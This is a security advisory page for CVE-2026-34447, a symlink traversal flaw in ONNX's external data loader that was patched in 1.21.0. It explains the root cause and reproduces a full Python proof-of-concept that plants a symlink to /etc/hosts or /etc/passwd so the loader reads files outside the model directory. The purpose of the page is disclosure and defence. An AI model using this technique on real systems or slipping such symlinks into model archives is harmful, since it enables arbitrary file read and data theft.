CVE-2026-34447: ONNX: External Data Symlink Traversal

Published Apr 1, 2026
·
Updated

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0.

Other sources

Summary - Issue: Symlink traversal in external data loading allows reading files outside the model directory. - Affected code: onnx/onnx/checker.cc: resolveexternaldatalocation used via Python onnx.externaldatahelper.loadexternaldataformodel. - Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory.

Root Cause - The function resolveexternaldatalocation(basedir, location, tensorname) intends to ensure that external data files reside within basedir. It: - Rejects empty/absolute paths - Normalizes the relative path and rejects .. - Builds datapath = basedir / relativepath - Checks exists(datapath) and isregularfile(datapath) - However, std::filesystem::isregularfile(path) follows symlinks to their targets. A symlink placed inside basedir that points to a file outside basedir will pass the checks and be returned. The Python loader then opens the path and reads the target file.

Code Reference - File: onnx/onnx/checker.cc:970-1060 - Key logic: - Normalization: auto relativepath = filepath.lexicallynormal().makepreferred(); - Existence: std::filesystem::exists(datapath) - Regular file check: std::filesystem::isregularfile(datapath) - Returned path is later opened in Python: externaldatahelper.loadexternaldatafortensor.

Proof of Concept (PoC) - File: onnxexternaldatasymlinktraversalpoc.py - Behavior: Creates a model with an external tensor pointing to tensor.bin. In the model directory, creates tensor.bin as a symlink to /etc/hosts (or similar). Calls loadexternaldataformodel(model, basedir). Confirms that tensor.rawdata contains content from the target outside the model directory. - Run: - python3 onnxexternaldatasymlinktraversalpoc.py - Expected: [!!!] VULNERABILITY CONFIRMED: externaldata symlink escaped basedir

onnxexternaldatasymlinktraversalpoc.py

python #!/usr/bin/env python3 """ ONNX External Data Symlink Traversal PoC

Finding: loadexternaldataformodel() (via cchecker.resolveexternaldatalocation) does not reject symlinks. A relative location that is a symlink inside the model directory can target a file outside the directory and will be read.

Impact: Arbitrary file read outside modeldir when external data files are obtained from attacker-controlled archives (zip/tar) that create symlinks.

This PoC: - Creates a model with a tensor using externaldata location 'tensor.bin' - Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts) - Calls loadexternaldataformodel(model, basedir) - Confirms that tensor.rawdata contains the content of the outside file

Safe: only reads a benign system file if present. """

import os import sys import tempfile import pathlib

Ensure we import installed onnx, not the local cloned package here = os.path.dirname(os.path.abspath(file)) if here in sys.path: sys.path.remove(here)

import onnx from onnx import helper, TensorProto from onnx.externaldatahelper import ( setexternaldata, loadexternaldataformodel, )

def picktargetfile(): candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"] for p in candidates: if os.path.exists(p) and os.path.isfile(p): return p raise RuntimeError("No suitable readable system file found for this PoC")

def buildmodelwithexternal(location: str): # A 1D tensor; data will be filled from external file tensor = helper.maketensor( name="Xext", datatype=TensorProto.UINT8, dims=[0], # dims will be inferred after rawdata is read vals=[], ) # add dummy rawdata then setexternaldata to mark as external tensor.rawdata = b"dummy" setexternaldata(tensor, location=location)

# Minimal graph that just feeds the initializer as Constant constnode = helper.makenode("Constant", inputs=[], outputs=["out"], value=tensor) graph = helper.makegraph([constnode], "g", inputs=[], outputs=[helper.maketensorvalueinfo("out", TensorProto.UINT8, None)]) model = helper.makemodel(graph) return model

def main(): base = tempfile.mkdtemp(prefix="onnxsymlinkpoc") modeldir = base linkname = os.path.join(modeldir, "tensor.bin")

target = picktargetfile() print(f"[] Using target file: {target}")

# Create symlink in modeldir pointing outside try: pathlib.Path(linkname).symlinkto(target) except OSError as e: print(f"[!] Failed to create symlink: {e}") print(" This PoC needs symlink capability.") return 1

# Build model referencing the relative location 'tensor.bin' model = buildmodelwithexternal(location="tensor.bin")

# Use in-memory model; explicitly load external data from basedir loaded = model print("[] Loading external data into in-memory model...") try: loadexternaldataformodel(loaded, basedir=modeldir) except Exception as e: print(f"[!] loadexternaldataformodel raised: {e}") return 1

# Validate that rawdata came from outside file by checking a prefix raw = None # Search initializers for t in loaded.graph.initializer: if t.name == "Xext" and t.HasField("rawdata"): raw = t.rawdata break # Search constant attributes if not found if raw is None: for node in loaded.graph.node: for attr in node.attribute: if attr.HasField("t") and attr.t.name == "Xext" and attr.t.HasField("rawdata"): raw = attr.t.rawdata break if raw is not None: break if raw is None: print("[?] Did not find rawdata on tensor; PoC inconclusive") return 2

with open(target, "rb") as f: targetprefix = f.read(32) if raw.startswith(targetprefix): print("[!!!] VULNERABILITY CONFIRMED: externaldata symlink escaped basedir") print(f" Symlink {linkname} -> {target}") return 0 else: print("[?] Raw data did not match target prefix; environment-specific behavior") return 3

if name == "main": sys.exit(main())

GitHub

Affected Software

2 affected componentsFixes available
pip/onnx<1.21.0
1.21.0
linuxfoundation Onnx<1.21.0

Event History

Apr 1, 2026
CVE Published
via MITRE·05:39 PM
Data Sourced
via MITRE·05:39 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 PM
Affected Software
Advisory Published
via GitHub·09:14 PM
Data Sourced
via GitHub·09:14 PM
DescriptionSeverityWeaknessAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203